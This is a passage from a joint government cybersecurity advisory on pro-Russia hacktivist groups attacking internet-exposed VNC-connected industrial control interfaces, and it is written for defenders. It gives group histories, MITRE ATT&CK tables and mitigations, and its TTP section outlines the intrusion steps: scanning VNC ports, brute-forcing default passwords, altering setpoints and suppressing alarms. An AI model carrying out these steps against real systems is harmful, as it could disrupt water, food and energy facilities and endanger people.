<p><strong>Note:</strong> This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a> and European Cybercrime Centre’s (EC3) <a href="https://www.europol.europa.eu/media-press/newsroom/news/global-operation-targets-noname05716-pro-russian-cybercrime-network" target="_blank" title="Operation Eastwood" data-entity-type="external">Operation Eastwood</a>, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.</p>
<p>FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:</p>
<ul>
<li>U.S. Department of Energy (DOE)</li>
<li>U.S. Environmental Protection Agency (EPA)</li>
<li>U.S. Department of Defense Cyber Crime Center (DC3)</li>
<li>Europol European Cybercrime Centre (EC3)</li>
<li>EUROJUST – European Union Agency for Criminal Justice Cooperation</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Canadian Security Intelligence Service (CSIS)</li>
<li>Czech Republic Military Intelligence (VZ)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)</li>
<li>Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)</li>
<li>French National Cybercrime Unit – Gendarmerie Nationale (UNC)</li>
<li>French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)</li>
<li>German Federal Office for Information Security (BSI)</li>
<li>Italian State Police (PS)</li>
<li>Latvian State Police (VP)</li>
<li>Lithuanian Criminal Police Bureau (LKPB)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Romanian National Police (PR)</li>
<li>Spanish Civil Guard (GC)</li>
<li>Spanish National Police (CNP)</li>
<li>Swedish Polisen (SC3)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
</ul>
<p>The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a>.</p>
<p>The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations"><strong>Mitigations </strong></a>section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Threat Overview and Advisories">Russia Threat Overview and Advisories</a> webpage.</p>
<p>Download the PDF version of this report:</p>





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    <a href="https://www.cisa.gov/sites/default/files/2025-12/aa25-343a-pro-russia-hacktivists-conduct-attacks_0.pdf" class="c-file__link" target="_blank">Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure</a>
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<h2><strong>Background and Development of Pro-Russia Hacktivist Groups</strong></h2>
<p>Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.</p>
<h3><strong>Cyber Army of Russia Reborn</strong></h3>
<p>The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see<strong> </strong><a href="https://www.cisa.gov/#AppB" title="Appendix B"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a>)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.</p>
<p>In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.</p>
<p>CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.</p>
<p>In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.</p>
<p>The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.</p>
<h3><strong>NoName057(16)</strong></h3>
<p>The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool <code>DDoSia</code>, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.</p>
<p>Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host <code>DDoSia</code> and share materials and TTPs with their followers. </p>
<p>In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.</p>
<h3><strong>Z-Pentest</strong></h3>
<p>Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.</p>
<p>Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.</p>
<h3><strong>Sector16</strong></h3>
<p>Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.</p>
<p>Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the MITRE ATT&amp;CK<sup>®</sup> <a href="https://attack.mitre.org/versions/v18/matrices/enterprise/" title="Matrix for Enterprise framework" data-entity-type="external">Matrix for Enterprise framework</a>, version 18. See the <a href="https://www.cisa.gov/#MITRE" title="MITRE ATT&amp;CK Tactics and Techniques"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>TTP Overview</strong></h3>
<p>Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.</p>
<p>Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.</p>
<p>Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Sector">Water and Wastewater</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector" data-entity-type="external">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a> Sectors.</p>
<p>Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:</p>
<ul>
<li>Scan for vulnerable devices on the internet [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>] with open VNC ports [<a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a>].</li>
<li>Initiate temporary virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a>] to execute password brute force software.</li>
<li>Use VNC software to access hosts [<a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a>].</li>
<li>Confirm connection to the vulnerable device [<a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a>].</li>
<li>Brute force the password, if required [<a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a>].</li>
<li>Gain access to HMI devices [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>], typically with default [<a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a>], weak, or no passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a>].</li>
<li>Log the confirmed vulnerable device IP address, port, and password.</li>
<li>Using the HMI graphical interface [<a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a>], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [<a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a>]:
<ul>
<li>Modify usernames/passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify parameters [<a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a>];</li>
<li>Modify device name [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify instrument settings [<a href="https://attack.mitre.org/versions/v18/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a>];</li>
<li>Disable alarms [<a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a>];</li>
<li>Create loss of view (a technique that mandates local hands-on operator intervention) [<a href="https://attack.mitre.org/versions/v18/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a>]; and/or</li>
<li>Device restart or shutdown [<a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a>].</li>
</ul>
</li>
<li>Disconnect from the device, ending the VNC connection.</li>
<li>Research the compromised device company after the intrusion [<a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a>].</li>
</ul>
<h4><strong>Propagation</strong></h4>
<p>To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.</p>
<h4><strong>Reconnaissance and Initial Access</strong></h4>
<p>The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as <code>Nmap</code> or <code>OPENVAS</code>, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port <code>5900</code> or other nearby ports (<code>5901-5910</code>). Their goal is to gain remote access to HMI devices connected to live control networks.</p>
<p>Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.</p>
<h4><strong>Impact</strong></h4>
<p>While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.</p>
<p>Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.</p>
<h2><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to <a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a> for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<p><a class="ck-anchor"></a></p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 1. Reconnaissance</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Gather Victim Organization Information</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a></td>
<td>Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a></td>
<td>Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 2. Resource Development</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Server</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a></td>
<td>Threat actors use virtual infrastructure to obfuscate identifiers.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 3. Initial Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a></td>
<td>Threat actors gain access through less secure HMI devices exposed to the internet.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 4. Persistence</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Valid Accounts</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a></td>
<td>Threat actors use password guessing tools to access legitimate accounts on the HMI devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 5. Credential Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Brute Force: Password Spraying</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a></td>
<td>Threat actors use tools to rapidly guess common or simple passwords.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 6. Lateral Movement</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Default Credentials</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a></td>
<td>Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.</td>
</tr>
<tr>
<td>Remote Services</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a></td>
<td>Threat actors leverage VNC services to access system HMI devices.</td>
</tr>
<tr>
<td>Remote Services: VNC</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a></td>
<td>Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 7. Execution</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Graphical User Interface</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a></td>
<td>Threat actors interact with HMI devices via GUIs, attempting to modify control devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 8. Inhibit Response Function</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Device Restart/Shutdown</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a></td>
<td>While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.</td>
</tr>
<tr>
<td>Alarm Suppression</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a></td>
<td>Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.</td>
</tr>
<tr>
<td>Change Credential</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a></td>
<td>Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 9. Impair Process Control</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Modify Parameter</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a></td>
<td>Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.</td>
</tr>
<tr>
<td>Unauthorized Command Message</td>
<td><a href="https://attack.mitre.org/techniques/T0855/" target="_blank" title="T0855" data-entity-type="external">T0855</a></td>
<td>Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 10. Impact</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><a class="ck-anchor"><strong>Technique Title</strong></a></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Loss of Productivity and Revenue</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a></td>
<td>Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.</td>
</tr>
<tr>
<td>Loss of View</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a></td>
<td>Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. </td>
</tr>
<tr>
<td>Manipulation of Control</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a></td>
<td>Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  </td>
</tr>
</tbody>
</table>
<h2><strong>Incident Response</strong></h2>
<p>If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:</p>
<ol>
<li><strong>Determine which hosts were compromised and isolate them</strong> by quarantining or taking them offline.</li>
<li><strong>Initiate threat hunting activities to scope the intrusion</strong>. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.</li>
<li><strong>Reimage compromised hosts</strong>.</li>
<li><strong>Provision new account credentials</strong>.</li>
<li><strong>Report the compromise to CISA, FBI, and/or NSA</strong>. See the <a href="https://www.cisa.gov/#Contact" title="Contact Information"><strong>Contact Information</strong></a> section of this advisory.</li>
<li><strong>Harden the network to prevent additional malicious activity</strong>. See the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations "><strong>Mitigations </strong></a>section of this advisory for guidance.</li>
</ol>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<h3><strong>OT Asset Owners and Operators</strong></h3>
<p>The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<ul>
<li><strong>Reduce exposure of OT assets to the public-facing internet.</strong> When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>].
<ul>
<li><strong>Asset owners should use attack surface management services </strong>and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.<br><strong>Note:</strong> For more information on attack surface management, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/exposure-reduction" title="Internet Exposure Reduction Guidance">Internet Exposure Reduction Guidance</a>, CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> for U.S. critical infrastructure, and NSA’s <a href="https://www.nsa.gov/Portals/75/documents/resources/everyone/Attack%20Surface%20Management%20copy.pdf" target="_blank" title="Attack Surface Management" data-entity-type="external">Attack Surface Management</a> for the U.S. Defense Industrial Base.</li>
<li><strong>Implement network segmentation between IT and OT networks.</strong> Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementLogicalPhysicalNetworkSegmentation3I" title="CPG 3.I">CPG 3.I</a>].</li>
<li><strong>Consider implementing a firewall and/or virtual private network</strong> if exposure to the internet is necessary for controlling access to devices.
<ul>
<li>Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.</li>
<li>Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.</li>
<li>Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.</li>
<li>Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.</li>
</ul>
</li>
</ul>
</li>
<li><strong>Adopt mature asset management processes</strong>, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ManageOrganizationalAssets2A" title="CPG 2.A">CPG 2.A</a>].
<ul>
<li><strong>Keep remote access services updated </strong>with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
<ul>
<li>Keep VNC systems updated with the latest version available.</li>
</ul>
</li>
<li><strong>Refer to the joint </strong><a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators"><strong>Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</strong></a> to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.</li>
</ul>
</li>
<li><strong>Ensure OT assets use robust authentication procedures.</strong>
<ul>
